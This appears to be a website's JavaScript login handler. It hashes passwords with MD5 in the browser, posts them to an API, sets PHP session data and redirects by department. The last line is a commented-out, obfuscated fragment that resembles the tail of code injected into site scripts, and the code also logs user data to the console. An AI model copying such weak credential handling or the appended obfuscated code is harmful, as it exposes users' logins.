window.localStorage.clear(); // clear all local storage of this site.
$(document).ready(function () {
    
 if(checkInternetConnection()){
	request_siteVisit_projectDropDown();
    }else{
       alertNoInternet_connection();
        }
	
    $('input[type="checkbox"]').click(function () {
        $(".success_msg").html('');
        $(".success_msg").css("color", "white");
        $(".login_msg").html('');

    });




/*------------------------------------------------*/
/*-submit the Login form-*/
/*------------------------------------------------*/
    $("#logInform").submit(function (e) {
        $(".login_msg").html("");
        var empid = $("#logempId").val();
        var password = $("#logpass").val();
        e.preventDefault();
        var password = MD5(password);
        $("#loginButton i").removeClass("d-none");

        const content = {
            empid: empid,
            password: password
        };
       
        if(checkInternetConnection()){
            sendRequestToServer(content);
        }else{
             $("#loginButton i").addClass("d-none");
            alertNoInternet_connection();
        }
       


    });

/*------------------------------------------------*/


});

function sendRequestToServer(content){
     fetch(LOGIN_API_BASE_URL+'getuserinfoweb', {
                method: "POST", // *GET, POST, PUT, DELETE, etc.
                headers: {
                    "Content-Type": "application/json"
                    // 'Content-Type': 'application/x-www-form-urlencoded',
                },
                mode: "cors", // no-cors, *cors, same-origin
                cache: "no-cache", // *default, no-cache, reload, force-cache, only-if-cached
                credentials: "omit", // include, *same-origin, omit
                redirect: "follow", // manual, *follow, error
                referrer: "no-referrer", // no-referrer, *client
                body: JSON.stringify(content) // body data type must match "Content-Type" header
            })
            .then(response => response.json())
            .then(data => {


                var message = data.message;
                var loggedInUserName = data.name;
                var loggedInUserEmail = data.email;
                var loggedInUserDepartment = data.teamleads;
                console.log("teamLeads   "+ data.teamleads)
                if (message == "Valid User") {
/*----------------------------------------------------------------------------------*/
/* IF VALID USER-->ASSINGING THE USER{NAME,PASSWORD,EMAIL,DEPARTMENT} TO SEESION VARIABLE IN PHP*/
/*---------------------------------------------------------------------------------*/
                    $.ajax({
                        type: "POST",
                        url: "php/logInData.php",
                        data: {
                            empid: content.empid,
                            empname: loggedInUserName,
                            empemail: loggedInUserEmail,
                            department:loggedInUserDepartment,
                            deviceType:"PC"
                        }, // posting values of employe {id,name,department} to logInData.php to store sessions
                        success: function (data) {
                            var loggedInUserDepartment=data;
                            $("#loginButton i").addClass("d-none");
                            if (loggedInUserDepartment == TL_DEPARTMENT || loggedInUserDepartment == FINANCE_DEPARTMENT) {//constant variables in constant.js
                                window.location = "index.php";
                            } else if (loggedInUserDepartment == "") {
                                window.location = "employee/";
                            }

                        }
                    });

/*---------------------------------------------------------------------------------*/


                } else {
                    $(".login_msg").html(message);
                    $("#loginButton i").addClass("d-none");
                }



                //console.log('content:', content);
                console.log('content:', data);
            })
            .catch((error) => {
                console.error('Error:', error);

            });
}
//return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};;;